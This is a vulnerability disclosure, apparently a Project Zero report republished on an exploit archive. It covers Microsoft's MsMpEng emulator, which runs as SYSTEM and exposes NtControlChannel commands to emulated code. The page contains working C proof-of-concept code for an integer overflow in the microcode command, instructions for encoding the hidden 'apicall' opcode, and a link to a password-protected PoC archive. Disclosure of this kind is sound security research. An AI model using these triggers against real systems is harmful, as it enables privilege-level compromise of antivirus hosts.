Microsoft MsMpEng - Multiple Problems Handling ntdll!NtControlChannel Commands



EKU-ID: 6637 CVE: OSVDB-ID:
Author: Google Security Research Published: 2017-05-31 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1260
 
MsMpEng includes a full system x86 emulator that is used to execute any untrusted files that look like PE executables. The emulator runs as NT AUTHORITY\SYSTEM and isn't sandboxed.
 
Browsing the list of win32 APIs that the emulator supports, I noticed ntdll!NtControlChannel, an ioctl-like routine that allows emulated code to control the emulator.
 
You can simply create an import library like this and then call it from emulated code:
 
$ cat ntdll.def
LIBRARY ntdll.dll
EXPORTS
    NtControlChannel
$ lib /def:ntdll.def /machine:x86 /out:ntdll.lib /nologo
   Creating library ntdll.lib and object ntdll.exp
$ cat intoverflow.c
#include <windows.h>
#include <stdint.h>
#include <stdlib.h>
#include <limits.h>
 
#pragma pack(1)
 
struct {
    uint64_t start_va;
    uint32_t size;
    uint32_t ecnt;
    struct {
        uint16_t opcode;
        uint16_t flags;
        uint32_t address;
    } data;
} microcode;
 
int main(int argc, char **argv)
{
    microcode.start_va = (uint64_t) GetProcAddress; // just some trusted page
    microcode.size = 1;
    microcode.ecnt = (UINT32_MAX + 1ULL + 8ULL) / 8;
    microcode.data.opcode = 0x310f; // rdtsc
    microcode.data.flags = 0;
    microcode.data.address = microcode.start_va;
    NtControlChannel(0x12, &microcode);
    _asm rdtsc
    return 0;
}
$ cl intoverflow.c ntdll.lib
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.
 
intoverflow.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.
 
/out:intoverflow.exe
intoverflow.obj
ntdll.lib
 
 
It's not clear to me if this was intended to be exposed to attackers, but there are problems with many of the IOCTLs.
 
* Command 0x0C allows allows you to parse arbitrary-attacker controlled RegularExpressions to Microsoft GRETA (a library abandoned since the early 2000s). This library is not safe to process untrusted Regex, a testcase that crashes MsMpEng attached. Note that only packed executables can use RegEx, the attached sample was packed with UPX. ¯\_(ツ)_/¯
 
* Command 0x12 allows you to load additional "microcode" that can replace opcodes. At the very least, there is an integer overflow calculating number of opcodes provided (testcase attached). You can also redirect execution to any address on a "trusted" page, but I'm not sure I understand the full implications of that.
 
* Various commands allow you to change execution parameters, set and read scan attributes and UFS metadata (example attached). This seems like a privacy leak at least, as an attacker can query the research attributes you set and then retrieve it via scan result.
 
The password for all archives is "msmpeng".
 
################################################################################
 
I noticed additional routines (like NTDLL.DLL!ThrdMgr_SwitchThreads) that could not be imported, and looked into how they work.
 
It turns out the emulator defines a new opcode called "apicall" that has an imm32 operand. If you disassemble one of the routines that can be imported, you'll see a small stub that uses an undefined opcode - that is an apicall. To use the apicall instruction, you need to calculate crc32(modulename) ^ crc32(procname), and then use that as the 32 bit immediate operand.
 
If you think that sounds crazy, you're not alone.
 
So if we wanted to call NTDLL.DLL!MpUfsMetadataOp, we would need to calculate crc32("NTDLL.DLL") ^ crc32("MpUfsMetadataOp"), then encode that as 0x0f 0xff 0xf0 <result>. There is an example wrapper in C that demonstrates its usage below.
 
I'm planning to wait to see if Microsoft really intended to expose these additional apis to attackers before I audit more of them. It looks like the other architectures, like MSIL, also have an apicall instruction.
 
Filename: apicall.c
The password for all archives is "msmpeng"
 
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42077.zip